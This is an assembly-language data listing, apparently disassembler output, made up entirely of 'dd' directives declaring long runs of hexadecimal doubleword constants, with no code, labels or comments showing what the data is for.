dd 5325309Ch, 0F7B289D0h, 0E99C526Dh, 7722A85Ah, 0F89A6263h
dd 4BBFDAC5h, 51D628AEh, 7F28681Bh, 0CA8F449h, 64BD9E60h
dd 294C7AA3h, 253A5018h, 28277412h, 567E9101h, 0BC7FAF54h
dd 0CEB7B74Eh, 4AB44AC3h, 40E3B14Eh, 6E5FBB11h, 4ECA0163h
dd 0C205C276h, 12145840h, 0AF1C4F21h, 6914868Ch, 22D544AEh
dd 551C5437h, 6E18BE19h, 48BF7B00h, 9064C06Ch, 3E3A0CF5h
dd 6B61233h, 61BF04B2h, 0BC6A2D7Bh, 3F7864F1h, 41FDF2BEh
dd 17126EA4h, 10DAB7AEh, 71056C81h, 0EE59A669h, 4E3A40C8h
dd 0E5FFA8C6h, 0CDCF5C21h, 0BDC9202Bh, 2E0460B0h, 30E58133h
dd 0B35336C3h, 8531CBCDh, 0A2C209C1h, 39809E24h, 0E29D66F2h
dd 0E43FBE75h, 0ED43C196h, 391016B1h, 198B8F60h, 0F53C5CC3h
dd 0C5E15Fh, 1D61F9B6h, 203F875Ch, 0BF5F4ABBh, 7D99DD67h
dd 0B39E545Bh, 0D0B28813h, 0BFC1C140h, 3E7DA109h, 39D6B58Ah
dd 97D75BDAh, 8F21FB01h, 0C46BB7E9h, 768EFB65h, 0E90C8330h
dd 3E9A75EAh, 390B1B90h, 762AD31Eh, 0D6F762C4h, 35060B61h
dd 7DF4830Eh, 0E02E683Ch, 2DE903EFh, 38DD2071h, 0ACA81D5h
dd 6B0D45DBh, 0D3A642E4h, 0D6372AF5h, 94CA802h, 1B6061D9h
dd 2BBB296Eh, 59960EE2h, 5BA307Bh, 94FADF84h, 0C97E0BA3h
dd 16BD6EC0h, 3871631Eh, 0D67A6B89h, 0CDE619Bh, 991AF03Ah
dd 20A6C6BFh, 5E5E4EBBh, 0C62F82F6h, 0CB20DF5h, 61BEFC7Eh
dd 785560Dh, 0FE18DE00h, 10FA2B5Ah, 0C6808D8h, 1DE90B14h
dd 572782D4h, 0B12419E7h, 0C2DF9C18h, 6D060F8Dh, 38845D01h
dd 48A6B3CBh, 0A0BF20B0h, 4AC4B5h, 81466EC1h, 0AC196DE6h
dd 0EED17213h, 858BF20Fh, 0E9181F7Dh, 9A9A8E10h, 81B375D2h
dd 91A26A5Ch, 0D040EAD6h, 0FC02BB05h, 0D0011432h, 0FB47072Dh
dd 0F3D3E909h, 25A7E4F7h, 14DF5D5Fh, 0C57E88D5h, 766334E9h
dd 0F2C1EBDBh, 0E6D1CCFEh, 2BE87Fh, 0BED80A5h, 2859EE20h
dd 4F93D6F6h, 0E4E3C4BAh, 0CBF65A0Eh, 16F50953h, 0D9B30868h
dd 0B515316h, 6125ADADh, 0AB189402h, 0BBD0C61Fh, 823B1792h
dd 45F55CD7h, 93CFAFE3h, 5698D52Dh, 0EE20617Dh, 67230935h
dd 0C8003226h, 6FB174A1h, 0E490A590h, 5EA9147Eh, 35D96155h
dd 0A5062228h, 5A4838FFh, 0C953F6B5h, 710891FEh, 3A0C905Ch
dd 351409Ah, 632AECB9h, 7E2574Dh, 0F92596FEh, 4F7249E0h
dd 0ECD4D04Ah, 4C17CEAEh, 7FFD045Ah, 9C02E1Fh, 616D3BFEh
dd 581B0C22h, 0EC816AE0h, 90C38005h, 8227D4E9h, 0AC20F650h
dd 0D70926EEh, 2AC75130h, 6AFC5827h, 196B1206h, 4ADFC3Eh
dd 505FF831h, 7CDD5AC0h, 0E9350D12h, 0C2523285h, 0B2525957h
dd 0C15F337Ch, 5932574Ch, 0D4871813h, 5653AADCh, 738FD8FEh
dd 63A6475Ah, 33ADE982h, 109EDB57h, 8FED8418h, 6E645E0Ch
dd 4BCC613Fh, 5A34CEBAh, 79E1F6B9h, 0D73001D0h, 0C692817Eh
dd 0D5FEC18Ch, 10E9D4EEh, 5B229CE3h, 0BA06D817h, 4EE36963h
dd 7B14ADEAh, 0B885064Bh, 0DDE385BAh, 48A900C8h, 3698C003h
dd 761BF706h, 50C1835h, 0FAE27F2h, 6BD10047h, 1E6B7FEh
dd 25AFF94Ch, 2DC014C2h, 0FCD945B6h, 3E967F49h, 27C1295Bh
dd 44D42DADh, 0B52275E2h, 5019574h, 79502CDCh, 5FBF342h
dd 0E6F6FA5Ah, 3F30F250h, 0BA02596Dh, 98EC7177h, 0FF1359D6h
dd 0F7B624C1h, 0B72EFDDCh, 5204FD18h, 9DA6797h, 0ED82EEC1h
dd 5D054027h, 6890CCAFh, 98204C2Dh, 0CB03FC4Dh, 0C68D6D3h
dd 791816C2h, 0C30C1A36h, 217E2D92h, 4800B0D8h, 63052E35h
dd 0B0C689A3h, 0AAFF61BAh, 64AEA0BFh, 0B840C41Bh, 2C59775Bh
dd 646DD442h, 8330BA5Ch, 0B7547068h, 110BB198h, 0F21D93C2h
dd 0FD7B66FEh, 534374C2h, 13F647F3h, 0DE206AB0h, 0E4584B6Ch
dd 0AD419A05h, 31FBDF20h, 0A096EF30h, 0C6896E9Fh, 0E4F4807Fh
dd 0DD488BD7h, 90774C41h, 4E8A0B82h, 0C40D7562h, 0EA08041Ch
dd 70B788C8h, 27039FDEh, 97EAE288h, 599581F8h, 48C78C79h
dd 5F9BCD15h, 1C2B188Bh, 0C529264Ah, 3AA30894h, 1ED31325h
dd 9AC9FE3Bh, 0DC8159F0h, 31BBEBB0h, 10C27CB1h, 8E40393Eh
dd 74755E65h, 0F7D1FA58h, 5102CADFh, 5AD35E57h, 5D1B425Dh
dd 5995EBE4h, 0E2114966h, 0E05149A9h, 0AB92E0C1h, 1112327Fh
dd 0E2BEFEA8h, 0F10B4FCBh, 54B90098h, 7DE98149h, 343B1330h
dd 0DCBE0489h, 0B4DAABDDh, 6A15E90Dh, 0D855DA21h, 24E90D2h
dd 61407780h, 0F080D929h, 48314D3Eh, 18596872h, 218A843Ch
dd 0AAE2EB13h, 9603ACD0h, 0E91D5251h, 57C24E69h, 7FDDB0Ah
dd 0DE1EC823h, 527FC2B2h, 0F6DD4255h, 0FBD76373h, 31AF365Ah
dd 0A8A78A20h, 584D8416h, 2CBAB4DEh, 99FCEBAh, 81CCF7E4h
dd 23047495h, 8A4CAE64h, 64D17CBEh, 0A5EE92Dh, 43266168h
dd 0E66DE98Ah, 682FB4A2h, 0AC9B7D5Ch, 3FE3F1D1h, 52D45CECh
dd 68381B20h, 223E8B14h, 2D7C5659h, 74A8EBE8h, 65491EB6h
dd 0DF273E71h, 0E961345Eh, 7D96091Ch, 8985AABBh, 0A0C712AFh
dd 0EF165DB4h, 0B9025E0Ch, 0A2E0CDE9h, 9B5328ACh, 59B7B09Bh
dd 4EEF3980h, 886DF785h, 201A8FCh, 0C4B2E93Dh, 75FAC4FEh
dd 62F697C6h, 0D3165CFh, 0F05E83B4h, 77784D2Eh, 3A2D2A7Eh
dd 34E17D98h, 801B73CAh, 0BC6866BFh, 0D265117Ch, 0B1BFBF9Fh
dd 8940E9E8h, 8F835357h, 3A8DFECEh, 0ED176BDDh, 0A36D5A96h
dd 34100BDBh, 0D18FEE5h, 888007C0h, 0C3DEBFDCh, 59E10452h
dd 5C8E25D2h, 47973AF2h, 0CAAF40A6h, 334C2CCCh, 0C26AA598h
dd 321226BFh, 0A5A90C35h, 54E95681h, 0F1F951AFh, 34997B01h
dd 2D27992Ch, 4DC4257h, 17BF9B9Ah, 2A72B5D4h, 283669EFh
dd 0A4FC2C0Eh, 14AD4CA4h, 1453BF56h, 0C405527h, 7A624568h
dd 79E63BF1h, 2924B938h, 53516083h, 7AF8EB89h, 0E9420FB5h
dd 620F59F8h, 0BB0093CBh, 4E545506h, 2A53A165h, 0A4F90982h
dd 4EEDCCC0h, 0CFA3307Bh, 0D5FF8BDh, 0F751D0Bh, 78E37030h
dd 14BF0361h, 39AAC205h, 42C701C1h, 550BBAF6h, 0AB005B4Bh
dd 5B685350h, 9723567Dh, 1643D4C0h, 951E8FACh, 2D836B03h
dd 16C6053Fh, 228169B8h, 0A1DF8705h, 3C32C373h, 272013E9h
dd 0F9D582DEh, 19554979h, 0D42C9A82h, 0EBC50116h, 4C652368h
dd 0E8878754h, 21234403h, 5607B42Ah, 2C073153h, 5515E557h
dd 33524590h, 642E1C32h, 410E786Ch, 50655644h, 4E0D3149h
dd 0C64CF954h, 77010AA8h, 812B6A6h, 0A4DEA544h, 0EC9FC0AAh
dd 7F90FDDCh, 15A55E37h
dd 0A69842D8h, 427D824h, 44CE48A8h, 10C42258h, 0BA89A95Fh
dd 4484C808h, 6E1F56B0h, 0E1409AB4h, 583D0F29h, 867AA0h
dd 27F913CBh, 1C718B45h, 9C7EB300h, 12F6C8E2h, 6C3E0058h
dd 0E5B7D189h, 2B0045FFh, 743D604Bh, 21D7FDh, 0C6FE980Ah
dd 484E08ECh, 1690D61Eh, 0F3C02DDCh, 2E5AA573h, 0EDA200F5h
dd 712910EAh, 0AE00286Bh, 0C8E880B5h, 4D05EEh, 0E2DF347h
dd 72DAD4F7h, 9C502000h, 7E14449h, 666C0024h, 1A310E12h
dd 0A27F5C40h, 0AB003D76h, 2B548063h, 1E82C1D8h, 4F94525Fh
dd 0B6832C4Bh, 4BDFA028h, 61660187h, 0FC2ECA6Fh, 34039399h
dd 2B4E745Ah, 0F0350786h, 5005EB9Dh, 8DA44F46h, 13CDB300h
dd 0AF11170Eh, 3DF700DDh, 6D355764h, 313ECC4h, 5BB837D5h
dd 67210900h, 0DC947B4Dh, 0BF0C207h, 7EA03953h, 0DAACC6h
dd 0CF243EF8h, 954F31E6h, 0C5A97B00h, 3C1FF10Bh, 986A0984h
dd 0B300F8B2h, 0FCC1F013h, 4BBDB3A0h, 0D32BB128h, 0F723861Ch
dd 62C069C0h, 732F35C1h, 0DFF600DBh, 733E61A0h, 2900BA10h
dd 6FB2B80Bh, 5771AFh, 783D692Eh, 25BFD25Fh, 94002A76h
dd 0D8DED5DAh, 3C4F66B9h, 0C0989275h, 504EBAEEh, 21446A06h
dd 88EB90h, 0FE893E6h, 0EE15DE08h, 8AB8A104h, 0E9D706B7h
dd 0FBCDE780h, 425C0314h, 0B9D38B70h, 2C46FED0h, 0BE004EB0h
dd 0B1664FA4h, 49FB15CFh, 9F003D29h, 18EA04BCh, 5E057832h
dd 4170937Eh, 0CB3D8042h, 7334031h, 81F500F6h, 84C313CFh
dd 0D0EDD5D9h, 22487D77h, 0BC24720Bh, 19007B02h, 0CAE55A5Fh
dd 510907F0h, 7079D64Bh, 5D8D239Eh, 33834914h, 999000C4h
dd 0A4E2E8EEh, 54340912h, 0E9268ECFh, 52AB7819h, 96AD6790h
dd 0AFD3BC02h, 81A1258Ch, 53FE51B5h, 9005BFD8h, 0C037C04h
dd 0A0CBE2A7h, 2C7B6B20h, 0CE0FA861h, 95C8757Bh, 3BC173DBh
dd 560CAC8Bh, 0F8237E33h, 3BB9E00h, 0B4F35258h, 3DF507DAh
dd 0E23B4138h, 0AB41D542h, 0E015713Ch, 461C5D15h, 8EC12D07h
dd 1A979289h, 21DADCh, 0A90B1164h, 0A4D0F4D7h, 19C8B43Eh
dd 6527F707h, 0B0012400h, 0C60C6462h, 9EBD4073h, 25481887h
dd 9FF2198Ch, 1E4C991Bh, 46B482E7h, 0C1E41B49h, 33C0BFF0h
dd 3703D92Dh, 74BEE1F8h, 0AB00091h, 0E5CB9DB7h, 3BE6112Bh
dd 0C200FC76h, 2677D267h, 1DB5CC1Fh, 0C040F8DBh, 0B4B97154h
dd 1600D0B6h, 35BBBC3Dh, 30F0D9E6h, 0C3857DC2h, 77D21DBh
dd 7C964E01h, 0F30DC5AAh, 248038E8h, 80A89466h, 9EB2089h
dd 6302354Fh, 0D9ABC57Fh, 52C840F6h, 98B2016Ch, 7AACDB8h
dd 6F3A20FBh, 0E263FD30h, 72D4DA32h, 161A00B6h, 657C26E9h
dd 46606F42h, 9B407F0h, 62A10C04h, 0C17723Fh, 0B3B939h
dd 9F1419D3h, 377E116Eh, 501E483Ch, 3F7F3B67h, 7CC0CF0Fh
dd 0AC69836Bh, 0C215F1B9h, 240B3830h, 16471FDCh, 7119FCF9h
dd 1DBA4352h, 8A79E22Eh, 0B0B9330Bh, 0C8AB8500h, 503081A4h
dd 146DA86h, 234248F3h, 80704164h, 0F95A0617h, 0E8D5A30Ah
dd 90A70652h, 1E61446Dh, 3CE73A00h, 89ACEB22h, 4E17C028h
dd 7FA1F5FBh, 86A9C000h, 267A7778h, 0A6AB00FEh, 0CD876943h
dd 0CB3ED1C8h, 0E64B3088h, 1859B617h, 0C8B0C703h, 0D900E915h
dd 2BD3E17Ch, 4A5ADEE4h, 0A4080260h, 3C6BFB3h, 751E9259h
dd 906A8100h, 0F1EEF4AEh, 0F5CC440Ah, 800C2B39h, 37F8DCB6h
dd 949953h, 0F6EDF29Dh, 7301ADF0h, 0BFC25B0h, 179EE71Dh
dd 0A2A89B40h, 2B3083h, 4B6689C8h, 334FDFC5h, 86DAE007h
dd 63309D9Ah, 7FBC62h, 7A91E454h, 92C3984Eh, 803A3739h
dd 6D532D8Ch, 2E0FC7ACh, 13D1795Dh, 614A00FAh, 4B7FD650h
dd 587A2603h, 0ADA08275h, 6281C65Ch, 0ED64CFA8h, 8CFC2261h
dd 415205Eh, 89432B00h, 0FEB69D6Fh, 2D120FE4h, 0A0405B75h
dd 1AFCCEE8h, 0F1466002h, 487153C8h, 22DE7A9h, 0A65E4113h
dd 5543BA8Ch, 12352080h, 68F89F24h, 0CB650039h, 0D9F04FD1h
dd 26000B6h, 83D62E58h, 0AF00926Ch, 0CCA6DDF7h, 0E42A30EAh
dd 0FA8D984Dh, 19F22EACh, 1FA2416h, 0BDB2E0C9h, 9B830003h
dd 0F5C700E1h, 6A3C560Eh, 0B37ACD85h, 7200E391h, 60499EB8h
dd 0FC900ABh, 853F23F5h, 72A0996Bh, 5803722Ch, 476A8D78h
dd 2FB009F9h, 770023BDh, 0E3E8A284h, 545D8013h, 0D72AB940h
dd 17C812Ch, 0A25A3F19h, 0C8A0A69Dh, 10206C0h, 63682003h
dd 0C1BEC065h, 0B3100059h, 0B9164770h, 0A2609426h, 2A87AA48h
dd 540CC09Fh, 69985601h, 1357E848h, 0AFEC1B86h, 58BBD024h
dd 0D981B89Fh, 7726CECh, 22EEB2B3h, 9BCB3205h, 8ADD5F48h
dd 0B902D57Ch, 7C79CDCAh, 0ED664094h, 494E2406h, 0ABA20BBFh
dd 0D01EF670h, 8FC52DEEh, 4880DFE4h, 1A0F9Fh, 4F297E63h
dd 0B3AAAF69h, 0CD004BE6h, 777360E3h, 1FF5271h, 557EA2FAh
dd 0D8DE7F32h, 9D00F781h, 5FC01BBh, 6020435Ah, 9AED1B91h
dd 0B507D8EFh, 8642D610h, 904A2C10h, 0F4CE00E5h, 33A540Eh
dd 1001A1C4h, 6679C2A6h, 2DC80D13h, 3B9A2873h, 549604CEh
dd 0F0B63D6Bh, 0A2498A67h, 34A4C53h, 0D48C7143h, 47FFD0BAh
dd 945B482Dh, 6750A504h, 0FCECC0B2h, 8C00462Ah, 5BDA072h
dd 23319EBh, 947F5F79h, 5F484071h, 2A43C436h, 0D0034A22h
dd 0D2D78F76h, 3136E8D4h, 0CD9FA03Ah, 620D5CF3h, 0F2515700h
dd 637D3518h, 95AE912Eh, 10000512h, 31171562h, 459E2477h
dd 790CBD70h, 0F3D34D4Bh, 37510B0Bh, 61E29265h, 68E823C5h
dd 0C49600B0h, 0B90E28E2h, 39001B10h, 0AF93657Fh, 909DBF5h
dd 82546E26h, 0FDE8A940h, 0F7D7DA18h, 412D9FD2h, 50192593h
dd 0BCD3266Ch, 11189930h, 7C600B5Eh, 1DA3749h, 0F60D70F2h
dd 0A71CAECAh, 73002CC0h, 4E340E6Dh, 0F2AA288Dh, 1CF600B5h
dd 0C3EE1135h, 2103D82Fh, 0B8BD68BBh, 0A067ABC1h, 3343667Dh
dd 0E1E3078h, 1453B6D8h, 0FFB2D518h, 30247735h, 0EE0F8829h
dd 0C00B7542h, 778D3D7h, 2720037Ah, 305B7F66h, 5DB7938h
dd 26F07B2h, 1FF980BAh, 0E669833Dh, 3C530FD2h, 2A2023FDh
dd 0F7FC4932h, 97421D0Eh, 98946092h, 34E7CB6h, 2B6E741Fh
dd 7C248F8Eh, 6A0380E8h, 3FAB7B2h, 1A318415h, 1112BAF7h
dd 0F60071C4h, 1E23DDC3h, 0FCE200BCh, 70562842h, 3B00B1B6h
dd 0FBB59973h, 180FF8F6h, 1C545257h, 8200DF0Ch, 2F84793Fh
dd 0E4F7DDh, 18E0B3AEh, 0A941366Ch, 140443Bh, 6E8833E3h
dd 0BE80B69Ch, 585D17F9h, 4A70A7F0h, 740CD09Ah, 2CEDD192h
dd 1D0D0E83h, 56806257h, 0D9DF977Ch, 433EFDE4h, 0BE752829h
dd 1DD5B803h, 0F00B2218h, 0C3BB4BDh, 349A9E56h, 1700CF1Eh
dd 59701B12h, 0A0F67B36h, 9B003B6h, 8ED835AAh, 680D48Eh
dd 1A616620h, 0E71B5900h, 4CA1CE89h, 1E690F95h, 0F5E31032h
dd 391E3E9h, 6F58E449h, 1B3B703h, 18B3D92h, 0C294F6D8h
dd 501D22DCh, 0EC0B7EE0h, 9AC4C000h, 69704772h, 1DF2000Dh
dd 0E7925901h, 17586CE1h, 0B250BA6h, 3CC82039h, 4057D4h
dd 0C3C88266h, 4467C6CCh, 0C9267201h, 0AAC1146Eh, 20168074h
dd 0BC267149h, 2F60B65Ah, 0FE75E677h, 8EF103F6h, 0E14CEB4h
dd 886DF197h, 288160C9h, 81863102h, 98C5DF8Ah, 0E50813h
dd 6A2778CCh, 353AF2D7h, 0D673E00h, 0FC16C24h, 6B700028h
dd 7DC4C974h, 2A0032C2h, 5EB3E87Ch, 6C260Ch, 0E09A8052h
dd 0B99E78DBh, 24FB0139h
dd 650F7318h, 0AB918138h, 0C9E0BF98h, 0AA740780h, 0E13E52ECh
dd 2CC06BF8h, 0F14C79h, 62472184h, 0B57AA4AAh, 0D309040Eh
dd 26197AA0h, 0E312367Ch, 0C203BBDDh, 0A9DA0AFDh, 0CF41686Dh
dd 49812BD4h, 0E1E6A086h, 0E848C1E3h, 2AB06145h, 8C2A400h
dd 69230503h, 7D660F64h, 0DD60C0C5h, 3B222025h, 7E6DEBA1h
dd 0BF4A0B8Fh, 346CE729h, 4C3768A0h, 2779C6BDh, 1F16AFCh
dd 3A7DED80h, 9CE814Ch, 38674F70h, 0FC0344F4h, 51AB971h
dd 169401Ah, 9D8B817h, 766FE4CBh, 235E25E1h, 2A685DF8h
dd 164A6099h, 0AC08458Fh, 0FF8BEC73h, 0A1ABE23Bh, 970D408h
dd 0B84000E0h, 7E2AC3Ah, 14C0C503h, 15A73E4Ch, 0E86F60F2h
dd 1C336F9h, 50D439h, 0B40A3F66h, 0F58CE4Ch, 4BA87079h
dd 0A29375A3h, 0D9CB01E8h, 0F935570Eh, 0D3638743h, 0FA4D0B73h
dd 0C5A14070h, 456E0E1Ah, 1FA090F8h, 3741D0F1h, 836B071Dh
dd 0D8B55B04h, 720CF080h, 0FA41D6Ah, 3491CBC6h, 0B2FE6880h
dd 0BF01715Ah, 866710CCh, 0E3F09B90h, 6BD500E8h, 23406A68h
dd 0C5000677h, 33F2CC76h, 3D202Dh, 930A64D9h, 190E1762h
dd 8757A800h, 1C0C7824h, 75010972h, 73720FE8h, 2CC12F3Dh
dd 0CD003769h, 99FE63EAh, 6BE500E3h, 5AD98B66h, 363870Fh
dd 0BDDB8033h, 617CCD04h, 1D0AE806h, 0DF2BF300h, 52C7F511h
dd 6D940CD0h, 0AB1F10E9h, 75A54500h, 2CCB3822h, 3040096h
dd 0A8D33FCFh, 0B9005FFEh, 4DE0D16Eh, 0F14AE981h, 0A1F80C92h
dd 0D4330038h, 2600FCABh, 0C2CB6678h, 125EEEC0h, 9DABF0Fh
dd 0D301D14Ah, 8F0DE97Ch, 0E16ED933h, 439751B6h, 12A3F760h
dd 0E740B3h, 0A2B1BDA6h, 0F5716031h, 0D2146160h, 394082h
dd 0AEE059B8h, 0DF805627h, 28F4D00h, 53FFD1BFh, 0EA81002Fh
dd 18EE20D0h, 2150E880h, 13DFCC8Dh, 7F00F0D2h, 0F4902FDh
dd 93156085h, 2DE9DCB3h, 10AF0FC0h, 1992951h, 1C7F03F4h
dd 0C834396Ch, 8D5B0F2Ch, 0F0775A22h, 977D007Ch, 872E79BFh
dd 200362FCh, 0D8DF1CC0h, 9218995Ch, 79ED4C4h, 111D702Bh
dd 0CEA01042h, 0FD3C157Bh, 3EF13C18h, 1CE20616h, 4808BAFAh
dd 9C019411h, 0A1F1724Fh, 7B219619h, 4706CE06h, 80911411h
dd 4A28E115h, 62F20C1Ch, 0C21166FAh, 10512039h, 4201EAC7h
dd 2B574D4Ch, 5B6210F6h, 67511046h, 86E21D25h, 1FCB88C4h
dd 3D404926h, 9B6288F4h, 50A41274h, 0EB069404h, 9E402705h
dd 0F13ECBC7h, 6D724900h, 516B92A1h, 1BE0C135h, 4011B3A7h
dd 0E3A5A384h, 0E99B960Fh, 4A8F00FCh, 6A3167h, 66159E5Fh
dd 691E7340h, 96D2E103h, 1024C272h, 7C56DA60h, 189AED3Ch
dd 0CD104C53h, 9E6D003Bh, 8B647910h, 11786225h, 74B3E3Eh
dd 67742B95h, 831D26C2h, 0E0965F14h, 0F4425660h, 0DF1A0CDDh
dd 65504F27h, 48C2DA18h, 6B71178h, 7CE9FEBh, 4206B0E4h
dd 95613656h, 51C91438h, 0CB0094E6h, 22321267h, 0AE00A9EAh
dd 18FF9EA4h, 678B641h, 0E29FC569h, 1C052012h, 70325985h
dd 4693203Ch, 73A4409Bh, 0F845F92Ah, 0E00E627Dh, 0A35ECB70h
dd 3026C315h, 89215B08h, 9570E039h, 39F2C038h, 0E1DB8007h
dd 671D4D3Ah, 4279C02Ah, 0A0D47B02h, 35916B03h, 30616346h
dd 2821F808h, 342ED473h, 0F705B996h, 940F4D97h, 6EF20048h
dd 0C8D1A7EBh, 3FC371A0h, 4ECBF9E0h, 3787090Eh, 140A00E0h
dd 0A52C645h, 5566A26Bh, 92CB00BCh, 8633846h, 0FE76682Eh
dd 205FEA01h, 9984E9C6h, 9012ABF1h, 0CFAA0940h, 0FDE53B00h
dd 0C30CA848h, 204000E6h, 911D9C92h, 1C126A0Bh, 445943C7h
dd 3A186CB0h, 0CB69E008h, 405DC426h, 9AE03282h, 0FE7EAECh
dd 8E81BC05h, 2D0FCF02h, 0A26F8880h, 0C0D47B09h, 53908E0h
dd 0A1318015h, 0BE9A7CA5h, 9221060Ch, 0C02D0886h, 0A5995821h
dd 0D700B360h, 7D501897h, 1777435h, 0E21CB2CDh, 2424CBD2h
dd 20FB6D4h, 21B357F3h, 2306332Dh, 9F4992h, 0D60CB835h
dd 0C0019110h, 0E3464A97h, 0BDD41DA2h, 136214D2h, 471F803Eh
dd 5F752A6h, 71516Ch, 0C3777230h, 910C90D4h, 1921CA9Bh
dd 0CD09C39Ch, 63E8927Ch, 0E004954h, 0E66655A8h, 0AB52972Bh
dd 0A3EEB298h, 886712D4h, 1CEA8D55h, 803C7BEBh, 82E2CD01h
dd 0A8301BD0h, 54D241A6h, 0BA6B0A9Ah, 93A46D12h, 173C0845h
dd 7FFF1482h, 4CB8803Fh, 26FC771Dh, 1158BD5Eh, 0DB1E7EE5h
dd 6826AC07h, 0F8CA990Fh, 75703CB9h, 8DA63305h, 79309D70h
dd 68632136h, 94BA0005h, 0FA224B56h, 0B401C288h, 669D79ECh
dd 2C245E23h, 0DBBD01B6h, 0A3F79C8Fh, 0BA002439h, 0C4003DB8h
dd 0D8F92024h, 7D94616Dh, 4408DF32h, 9A6B4Dh, 753D0C9Ch
dd 41734C20h, 13516300h, 0A1A86977h, 0A3D39300h, 5E9A753Ch
dd 0A818E206h, 96BB680h, 0DD5D8777h, 0F73A8480h, 228136D7h
dd 0A2F61061h, 806E5184h, 19D02B7Ch, 0DBD301F2h, 0B6D26D9Ah
dd 61B0405Bh, 631A9CA8h, 84D8CBC5h, 0A061385Ch, 0B69AECA5h
dd 5727448Ch, 95A59800h, 9EF2348Fh, 8F60B111h, 702CAA6Dh
dd 0C82A2068h, 2CFAD0F0h, 1299B6Fh, 176E7FCDh, 7DF020h
dd 0E405AE79h, 0EB99FB3Ch, 8E605F28h, 62E3518h, 319F7318h
dd 86302C0Ah, 0EBA1F814h, 0B26B70C1h, 1C2263F2h, 9B681050h
dd 0D47C0174h, 18996BA1h, 742988F7h, 0E59D403h, 0C4D912Ch
dd 226D51A1h, 920982D9h, 0B39838h, 0D033D990h, 1CE7222Ah
dd 430208C0h, 0E0335DBh, 0F671262Fh, 21240686h, 60935000h
dd 5E033AC6h, 0F06500C1h, 0CB8F4E4Dh, 96E25547h, 617E4304h
dd 0AC88ACCDh, 989249D2h, 0E9FCCF04h, 147440A5h, 9140BBD7h
dd 40281140h, 0E4AC3388h, 76A59B04h, 25628E9Ah, 0A5935220h
dd 0EA68901Fh, 0A7758043h, 0CA3092E0h, 8E8E12Eh, 1AC70033h
dd 0A584FE72h, 40009FB9h, 88C4772Eh, 0A849F9A1h, 76AC3384h
dd 0CDE49Bh, 41A371C5h, 0A0A8A476h, 8F6E123Bh, 32EB9DB3h
dd 0E4015C44h, 60902B0Bh, 0D400E1C5h, 19C0D817h, 18EC9951h
dd 21EE2A69h, 55F81639h, 0B7D42C01h, 0FF3D32A9h, 18F5C30h
dd 7B2265DEh, 80EC2AA1h, 6409D731h, 4202CD9h, 5F8D286h
dd 0BB9CC81Dh, 562BF100h, 0DA591913h, 7A77E215h, 41F26F61h
dd 70A4DCA7h, 92DBD1D5h, 538D2F00h, 599AA89Bh, 36302D2h
dd 503EFEA9h, 41F3A482h, 0FA4C5464h, 0AFA6818Ch, 48EC1A0Ah
dd 3A1F00D2h, 8F4A6453h, 71005E21h, 885B8CDh, 326601FAh
dd 4239CA20h, 9AB98448h, 0CB5A3C07h, 2C83A97h, 4A7C625h
dd 7C446CC2h, 6B029446h, 65A63D05h, 5E103031h, 6C150563h
dd 0E881A06h, 4162BA81h, 0E1AC29EFh, 0EDCB2820h, 816C3180h
dd 6B021BB1h, 19666901h, 87A9045Bh, 606AC820h, 7A18291Eh
dd 0AB3E776Ch, 2A6514A2h, 0FB630320h, 0DC80F38Dh, 687188C2h
dd 58769278h, 0D0134C06h, 48140833h, 279E6F41h, 64109072h
dd 1D604891h, 630375F1h, 907732EFh, 1D3C9B7Dh, 8290D749h
dd 662DA643h, 0F9440867h, 0E13AB361h, 1AB8417Ah, 0E21B0025h
dd 7DDE0FA2h, 248AFF9Ch, 0DA6D04F4h, 721CA02Ah, 9D2AA37Ah
dd 9C12A813h, 740A2332h, 0CD26688Dh, 9A74D130h, 0E4134DD7h
dd 1251CB09h, 5898C849h, 5086FE4h, 0C485A641h, 67624031h
dd 0FA029A05h, 3DDB31CFh, 8027CA50h, 0C1263B21h, 191EC60h
dd 0EA6EE88Ch, 24B677CBh, 9C057624h, 641D4D1Ah, 0D4789460h
dd 796B219Dh, 0D47025C0h
dd 802A013Ch, 106DA856h, 0BD58285Dh, 12CD30DEh, 359C13Dh
dd 6F66431h, 0B74188C3h, 75212ECFh, 274674ACh, 65122573h
dd 54AD5802h, 85804059h, 7BD1C84Ah, 0C0C4B095h, 73210EC0h
dd 0CF7A8332h, 0DC7C4C2Ch, 4E38C02Ah, 0E084A86Ch, 4A2F6A20h
dd 6E2C621Bh, 11E03C30h, 8836CB6Bh, 34848059h, 462BC2E0h
dd 0CD206409h, 0B23890E8h, 53809632h, 30E8D391h, 920083A0h
dd 6214E42Ch, 0D640FECBh, 9800D26h, 19C8F820h, 9EBA700Ch
dd 330A48B6h, 0E161E3FAh, 3D3E6380h, 0FBD2A800h, 0B3A69F3Bh
dd 0F9DD186Dh, 15CBA14Bh, 10598D05h, 80809F46h, 6306D20Eh
dd 0C570506Fh, 0E0C8CEDAh, 4B06861Ch, 43D6DA65h, 0B6110020h
dd 0CD646CFBh, 2030D5A2h, 0C79A5846h, 885CB17Bh, 1000FEDAh
dd 94753E15h, 1EA730FFh, 2890E220h, 20359229h, 0C0FBC8EEh
dd 0DA6E189Ch, 88660637h, 23CB0281h, 0DB8424h, 79530984h
dd 0A26F4B88h, 7600BC96h, 0B29FCD68h, 7710C034h, 818C0492h
dd 6D1C38B1h, 0A035DE0Bh, 0B79EA664h, 0C42490FCh, 127BA38h
dd 6274107Dh, 0F8C2FDC3h, 86052A6h, 2557CF9Ch, 0A903BA24h
dd 19357F6Eh, 1947BBD0h, 0AB2C00Dh, 3D9C590Fh, 0A2350064h
dd 48207902h, 6B8B10C6h, 5C6DE484h, 0A02EC1C2h, 87985144h
dd 0EF010B92h, 763B3E0h, 7B0A8FE4h, 24C3203Eh, 0FFEC033Eh
dd 0F73B9BCh, 0AA6AB1F0h, 200B137Fh, 74C72060h, 0F24130C2h
dd 245C5AA8h, 8F1453F9h, 0AC07213h, 3CAA948h, 5D5AF200h
dd 2561D143h, 0A14E07BDh, 103CF7C9h, 8828CC78h, 0B2759500h
dd 0D6613BE6h, 504700E8h, 4B3EDEBBh, 3878E0CBh, 3AFAED03h
dd 0A0DFC275h, 78C0EA56h, 0F7B70063h, 0CCD34A47h, 87E84C4Dh
dd 0E4005875h, 0B42A40EAh, 4295DBh, 4C61E5E8h, 6643ECE2h
dd 3ADDE400h, 44E0D267h, 387F524Bh, 8FD13187h, 18523AFEh
dd 81E2CA3h, 0EA185449h, 0EFC4B0h, 0E2CE613Eh, 0E6D14595h
dd 0CD2C3800h, 0EE676587h, 40641EEAh, 59528B3h, 2B5EFBE8h
dd 0C668037Fh, 0DBC1416Ah, 9839A045h, 0C045FF1h, 108303BEh
